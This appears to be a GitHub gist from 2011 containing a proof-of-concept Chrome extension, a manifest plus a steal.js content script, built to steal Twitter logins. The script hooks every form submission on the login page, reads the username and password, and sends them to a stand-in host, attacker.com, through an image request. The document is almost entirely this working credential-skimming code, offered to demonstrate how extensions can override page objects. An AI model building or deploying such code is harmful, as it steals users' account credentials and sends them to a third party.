Created
December 27, 2011 18:44
-
-
Save skepticfx/1524746 to your computer and use it in GitHub Desktop.
Google Chrome Extension POC to steal a Twitter Login
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "name": "Twitter Login Stealer POC", | |
| "version": "1.0", | |
| "description": "Steals the login data from Twitter", | |
| "browser_action": { | |
| "default_title": "Twitter Stealer" | |
| }, | |
| "permissions": [""], | |
| "content_scripts": [{ | |
| "js": ["steal.js"], | |
| "matches": ["http://www.twitter.com/login"] | |
| }] | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function doStuff() { | |
| allForms = document.forms; | |
| for (var i in allForms) { | |
| // Extension developer is able to over-ride any objects ! | |
| allForms[i].onsubmit = function () { | |
| user = document.getElementsByName('session[username_or_email]')[2].value; | |
| pass = document.getElementsByName('session[password]')[2].value; | |
| data = user + ":" + pass; | |
| new Image().src = "http://www.attacker.com/logger.php?i="+data; | |
| alert("Seems like the twitter plugin is installed"); | |
| return true; | |
| }; | |
| } | |
| } | |
| window.setTimeout(doStuff, 3000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment